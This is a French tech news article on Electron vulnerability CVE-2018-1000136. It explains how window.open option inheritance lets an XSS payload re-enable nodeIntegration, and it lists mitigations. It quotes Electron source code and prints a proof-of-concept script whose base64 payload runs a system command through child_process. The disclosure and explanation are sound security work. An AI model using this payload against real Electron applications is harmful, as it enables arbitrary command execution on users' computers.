
mais elle peut être corrigée manuellement
Electron est un framework permettant de développer des applications multiplateformes de bureau avec des technologies web (Javascript, HTML et CSS). Initialement développé pour l'éditeur Atom de GitHub, Electron est maintenant utilisé pour créer des applications par des entreprises comme Microsoft, Facebook, Slack ou encore Docker. Son infrastructure (backend) est codée en node.js, et l'interface (frontend) est bâtie sur la base des outils chromium, la partie open source de Google Chrome. Electron est un logiciel libre open source développé par Github sous licence MIT. Il a notamment permis de développer les éditeurs de texte libres Atom de Github et Visual Studio Code de Microsoft.
Fin janvier, il a souffert d'une vulnérabilité qui aurait pu permettre à un intrus d'exécuter son propre code arbitraire sur l'ordinateur d'une victime. Une autre faille, numérotée CVE-2018-1000136, a été repérée par Brendan Scarvell, chercheur en sécurité informatique chez Trustwave. Elle affecte les versions d'Electron en dessous de 1.7.13, 1.8.4 ou 2.0.0-beta.3. Les applications Electron sont construites avec HTML, CSS et JavaScript. Une application Electron par défaut inclut l'accès non seulement à ses propres API, mais également l'accès à tous les modules intégrés de Node.js. Et puisque les applications Electron sont essentiellement des applications Web, elles sont susceptibles de subir des attaques de script intersite (souvent appelées XSS).
Certaines applications qui n'ont pas besoin d'accéder à Node l'ont désactivée par défaut. Mais ce que Scarvell a découvert est un moyen de le réactiver dans une circonstance particulière. Toutes les applications Electron ont un fichier de configuration dans lequel il y a un attribut appelé nodeIngration. Lorsque ce paramètre est défini sur false, l'accès à l'API et aux modules Node.js est désactivé par défaut. Il existe un autre attribut distinct appelé webviewTag. Cela contrôle le comportement de WebView, ce qui permet à une application Electron d'intégrer une page Web distincte. Si webviewTag est défini sur false, il désactive également nodeIngration s'il n'a pas été défini, implicitement par défaut à false.
Par défaut, Electron utilise également sa propre fonction window.open () qui crée une nouvelle instance de BrowserWindow. La fenêtre enfant héritera de toutes les options de la fenêtre parente (y compris ses webPreferences) par défaut. La fonction personnalisée window.open () vous permet de remplacer certaines des options héritées en passant en argument :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | if (!usesNativeWindowOpen) { // Make the browser window or guest view emit "new-window" event. window.open = function (url, frameName, features) { if (url != null && url !== '') { url = resolveURL(url) } const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features)) if (guestId != null) { return getOrCreateProxy(ipcRenderer, guestId) } else { return null } } if (openerId != null) { window.opener = getOrCreateProxy(ipcRenderer, openerId) } |
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 | // Security options that child windows will always inherit from parent windows const inheritedWebPreferences = new Map([ ['contextIsolation', true], ['javascript', false], ['nativeWindowOpen', true], ['nodeIntegration', false], ['sandbox', true], ['webviewTag', false] ]); |
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 | const mergeBrowserWindowOptions = function (embedder, options) { [...] // Inherit certain option values from parent window for (const [name, value] of inheritedWebPreferences) { if (embedder.getWebPreferences()[name] === value) { options.webPreferences[name] = value } } // Sets correct openerId here to give correct options to 'new-window' event handler options.webPreferences.openerId = embedder.id return options } |
La preuve suivante montre comment une charge utile XSS peut réactiver nodeIntegration pendant l'exécution et permettre l'exécution de commandes système :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 | <script> var x = window.open('data://yoloswag','','webviewTag=yes,show=no'); x.eval( "var webview = new WebView;"+ "webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+ "webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+ "document.body.appendChild(webview)" ); </script> |
- déclarer WebviewTag à false (WebviewTag : false) dans les webPreferences ;
- activer l'option nativeWindowOption dans les webPreferences ;
- intercepter les événements de nouvelle fenêtre et remplacer event.newGuest sans utiliser la balise d'options fournie.
Sources : trustwave, Common Vulnerabilities and Exposures
Et vous ?


Voir aussi


Vous avez lu gratuitement 616 articles depuis plus d'un an.
Soutenez le club developpez.com en souscrivant un abonnement pour que nous puissions continuer à vous proposer des publications.
Soutenez le club developpez.com en souscrivant un abonnement pour que nous puissions continuer à vous proposer des publications.